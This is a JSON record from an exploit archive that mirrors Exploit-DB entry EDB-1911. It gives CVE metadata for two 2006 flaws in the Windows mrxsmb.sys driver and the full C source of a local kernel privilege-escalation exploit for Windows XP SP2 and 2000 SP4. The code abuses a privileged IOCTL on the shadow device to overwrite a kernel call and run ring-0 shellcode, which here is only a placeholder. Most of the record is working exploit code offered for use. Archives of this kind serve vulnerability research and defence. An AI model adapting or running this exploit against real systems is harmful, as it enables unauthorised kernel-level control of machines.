{"exploit":{"id":"EDB-1911","name":"Microsoft Windows XP/2000 - 'Mrxsmb.sys' Local Privilege Escalation (LPE) (MS06-030)","description":"Microsoft Windows XP/2000 - 'Mrxsmb.sys' Local Privilege Escalation (LPE) (MS06-030)","cves":["CVE-2006-2374","CVE-2006-2373"],"author":"Ruben Santamarta","published":"2006-06-14","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1911","path":"exploits/windows/local/1911.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1911.c","vulnerabilities":[{"id":"CVE-2006-2374","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Server Message Block (SMB) driver (MRXSMB.SYS) in Microsoft Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1 and earlier allows local users to cause a denial of service (hang) by calling the MrxSmbCscIoctlCloseForCopyChunk with the file handle of the shadow device, which results in a deadlock, aka the \"SMB Invalid Handle Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2374","cvss":{"version":"3.1","baseScore":5.5,"severity":"medium","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2374"},"updatedAt":"2024-08-07T17:51:04.423Z","retrievedAt":"2026-11-27T09:08:17.871Z","stale":false,"error":null},{"id":"CVE-2006-2373","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Server Message Block (SMB) driver (MRXSMB.SYS) in Microsoft Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1 and earlier allows local users to execute arbitrary code by calling the MrxSmbCscIoctlOpenForCopyChunk function with the METHOD_NEITHER method flag and an arbitrary address, possibly for kernel memory, aka the \"SMB Driver Elevation of Privilege Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2373","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2373"},"updatedAt":"2024-08-07T17:51:03.680Z","retrievedAt":"2026-11-27T09:17:23.831Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1911.png?v=2","url":"https://exploitbin.com/exploits/EDB-1911","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1911/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1911/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"///////////////////////////////////////////////////////////////////////////////////////\n// Mrxsmb.sys XP & 2K Ring0 Exploit (6/12/2005)\n// Tested on XP SP2 && 2K SP4\n// Disable ReadOnly Memory protection\n// HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\EnforceWriteProtection = 0\n// -----------------------------------------------------------------------------------\n// ONLY FOR EDUCATIONAL PURPOSES.\n// -----------------------------------------------------------------------------------\n// Rubén Santamarta.\n// www.reversemode.com\n// -----------------------------------------------------------------------------------\n// OVERVIEW\n// -----------------------------------------------------------------------------------\n// There are 3 possible values to change in order to adjust the exploit to other versions.\n// # XPSP2 (XP Service Pack 2)\n// This variable is equal to the File offset of the Call that we are modifying minus 0xC\n//. #XPSP2 => 3D88020000                   cmp         eax,000000288\n//.           770B                         ja         .000064BBE  --\n//.           50                           push        eax\n//.           51                           push        ecx\n//.           E812E2FFFF                   call       .000062DCC  -- MODIFIED CALL --\n// -----------------------------------------------------------------------------------\n// #W2KSP4 (Windows 2000 Service Pack 4)\n// The same method previosly explained but regarding to Windows 2000 Service Pack 4.\n// -----------------------------------------------------------------------------------\n// $OffWord\n// This variable is defined in CalcJump() Function.\n// E812E2FFFF  call       .000062DCC  -- MODIFIED CALL --\n// The exploit calculates automatically the relative jump, but we need to provide it\n// the 2 bytes following opcode Call(0xE8). In example, as we can see, to test in XP\n// OffWord will be equal to 0xE212.\n//////////////////////////////////////////////////////////////////////////////////////\n\n\n\n#include <windows.h>\n#include <stdio.h>\n\n\n#define XPSP2\t\t0x54BAC\n#define W2KSP4\t\t0x50ADD\n#define MAGIC_IOCTL 0x141043\n\ntypedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,\n\t\t\t\t\t\t\t\t\tDWORD ,\n\t\t\t\t\t\t\t\t\tLPDWORD);\n\ntypedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,\n\t\t\t\t\t\t\t\t\tLPTSTR lpBaseName,\n\t\t\t\t\t\t\t\t\tDWORD nSize);\n\nVOID ShowError()\n{\n LPVOID lpMsgBuf;\n FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,\n               NULL,\n               GetLastError(),\n               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n               (LPTSTR) &lpMsgBuf,\n               0,\n               NULL);\n MessageBoxA(0,(LPTSTR)lpMsgBuf,\"Error\",0);\n exit(1);\n}\n\nDWORD CalcJump(DWORD BaseMRX,BOOL InXP,DWORD *hValue,DWORD *ShellAddr)\n{\n\n      DWORD SumTemp;\n      DWORD IniAddress;\n\t  DWORD i;\n\t  DWORD sumAux;\n\t  DWORD addTemp;\n\t  DWORD OffWord;\n\n\t  if(InXP)\n\t  {\n\t\tSumTemp=BaseMRX+XPSP2+0xE;\n\t    OffWord=0xE212;\n\t  }\n\t  else\n\t  {\n\t    SumTemp=BaseMRX+W2KSP4+0xE;\n\t\tOffWord=0xa971;\n\t  }\n\n\n\t  for(i=0x4c;i<0xDDDC;i=i+4)\n\t  {\n\t\tsumAux=~((i*0x10000)+OffWord);\n\t\taddTemp=SumTemp-sumAux;\n\t\tif(addTemp>0xE000000 && addTemp<0xF000000){\n\t\t\t\tIniAddress=addTemp&0xFFFFF000;\n\t\t\t\t*hValue=i-4;\n\t\t\t\t*ShellAddr=addTemp;\n\t\t\t\tbreak;\n\t\t}\n\t  }\n\t  printf(\"\\nINFORMATION \\n\");\n\t  printf(\"-----------------------------------------------------\\n\");\n      printf(\"Patched Driver Call pointing to \\t [0x%p]\\n\",addTemp);\n\n      return (IniAddress);\n}\n\nint main(int argc, char *argv[])\n{\n PENUMDEVICES pEnumDeviceDrivers;\n PGETDEVNAME  pGetDeviceDriverBaseName;\n LPVOID arrMods[200],addEx;\n DWORD cb,i,devNum,dwTemp,hValue,Ring0Addr,junk,ShellAddr,BaseMRX=0;\n DWORD *OutBuff,*InBuff;\n HANDLE hDevice;\n BOOL InXP;\n CHAR baseName[255];\n\n CONST CHAR Ring0ShellCode[]=\"\\xCC\";       //\"PUT YOUR RING0 CODE HERE :)\"\n\n if(argc<2)\n {\n  printf(\"\\nMRXSMB.SYS RING0 Exploit\\n\");\n  printf(\"--- Ruben Santamarta ---\\n\");\n  printf(\"Tested on XPSP2 & W2KSP4\\n\");\n  printf(\"\\nusage> exploit.exe <XP> or <2K>\\n\");\n  exit(1);\n }\n\n if(strncmp(argv[1],\"XP\",2)==0)\n\t InXP=TRUE;\n else\n\t InXP=FALSE;\n\n pEnumDeviceDrivers=(PENUMDEVICES)GetProcAddress(LoadLibrary(\"psapi.dll\"),\n\t\t\t\t\t\t\t\t\t\t\t\t \"EnumDeviceDrivers\");\n\n pGetDeviceDriverBaseName=(PGETDEVNAME)GetProcAddress(LoadLibrary(\"psapi.dll\"),\n\t\t\t\t\t\t\t\t\t\t\t\t \"GetDeviceDriverBaseNameA\");\n\n pEnumDeviceDrivers(arrMods,sizeof(arrMods),&cb);\n devNum=cb/sizeof(LPVOID);\n printf(\"\\nSearching Mrxsmb.sys Base Address...\");\n\n for(i=1;i<=devNum;i++)\n {\n       pGetDeviceDriverBaseName(arrMods[i],baseName,254);\n\t   if((strncmp(baseName,\"mrxsmb\",6)==0))\n\t   {\n\t  \t   printf(\"[%x] Found!\\n\",arrMods[i]);\n\t\t   BaseMRX=(DWORD)arrMods[i];\n\t   }\n }\n\n if(!BaseMRX)\n {\n\t printf(\"Not Found\\nExiting\\n\\n\");\n\t exit(1);\n }\n\n addEx=(LPVOID)CalcJump(BaseMRX,InXP,&hValue,&ShellAddr);\n OutBuff=(DWORD*)VirtualAlloc((LPVOID)addEx,0xF000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);\n\n if(!OutBuff) ShowError();\n\n printf(\"F000h bytes allocated  at \\t\\t [0x%p]\\n\",addEx);\n printf(\"Value needed   \\t\\t\\t\t [0x%p]\\n\",hValue+4);\n\n InBuff=OutBuff;\n\n printf(\"Checking Shadow Device...\");\n hDevice = CreateFile(\"\\\\\\\\.\\\\shadow\",\n                    FILE_EXECUTE,\n                    FILE_SHARE_READ|FILE_SHARE_WRITE,\n                    NULL,\n                    OPEN_EXISTING,\n                    0,\n                    NULL);\n\n if (hDevice == INVALID_HANDLE_VALUE) ShowError();\n printf(\"[OK]\\n\");\n\n printf(\"Querying Device...\\n\");\n\n while(OutBuff[3]< hValue)\n  {\n\t\t\tDeviceIoControl(hDevice,      // \"\\\\.\\shadow\"\n                            MAGIC_IOCTL,  // Privileged IOCTL\n                            InBuff, 2,    // InBuffer, InBufferSize\n                            OutBuff, 0x18,// OutBuffer,OutBufferSize\n                            &junk,        // bytes returned\n                            (LPOVERLAPPED) NULL);\n\n  printf(\"\\r\\t[->]VALUES: (%x)\",OutBuff[3]);\n  }\n\n  if(InXP)\n\t  Ring0Addr=BaseMRX+XPSP2;\n  else\n\t  Ring0Addr=BaseMRX+W2KSP4;\n\n  printf(\"Overwritting Driver Call at[%x]...\",Ring0Addr);\n  DeviceIoControl(hDevice,      // \"\\\\.\\shadow\"\n                            MAGIC_IOCTL,  // Privileged IOCTL\n                            InBuff, 2,    // InBuffer, InBufferSize\n                            (LPVOID)Ring0Addr, 0x18,// OutBuffer,OutBufferSize 0x\n                            &junk,        // bytes returned\n                            (LPOVERLAPPED) NULL);\n\n  printf(\"[OK]\\n\");\n  for(i=1;i<0x3C00;i++) OutBuff[i]=0x90909090;\n\n  memcpy((LPVOID*)ShellAddr,(LPVOID*)Ring0ShellCode,sizeof(Ring0ShellCode));\n\n\n  printf(\"Sending IOCTL to execute the ShellCode\\n\");\n\n  DeviceIoControl(hDevice,      // \"\\\\.\\shadow\"\n                            MAGIC_IOCTL,  // Privileged IOCTL\n                            InBuff, 2,    // InBuffer, InBufferSize\n                            OutBuff, 0x18,// OutBuffer,OutBufferSize\n                            &junk,        // bytes returned\n                            (LPOVERLAPPED) NULL);\n\n  dwTemp=CloseHandle(hDevice);\n  if(!dwTemp) ShowError();\n\n  dwTemp=VirtualFree(OutBuff,0xf000,MEM_DECOMMIT);\n  if(!dwTemp) ShowError();\n\n  return(1);\n}\n\n// milw0rm.com [2006-06-14]","sha256":"1953ac18fbf147a8dbf0e1a6c6c0c03b5ba6338cd5b02ef275df2bc492036607","bytes":7100,"fetchedAt":"2026-11-27T09:08:14.186Z","encoding":"utf-8 (display only; download retains original bytes)"}